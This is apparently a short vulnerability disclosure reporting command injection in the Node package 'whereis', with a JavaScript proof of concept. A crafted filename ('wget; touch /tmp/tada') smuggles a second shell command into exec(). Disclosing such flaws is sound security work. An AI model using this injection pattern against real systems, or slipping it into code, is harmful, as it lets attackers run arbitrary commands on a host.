`whereis` concatenates unsanitized input into exec() command

I would like to report command injection in `whereis` It allows to inject arbitrary shell commands by trying to locate crafted filenames.

var whereis = require('whereis');
var filename = 'wget; touch /tmp/tada';
whereis(filename, function(err, path) {
  console.log(path);
});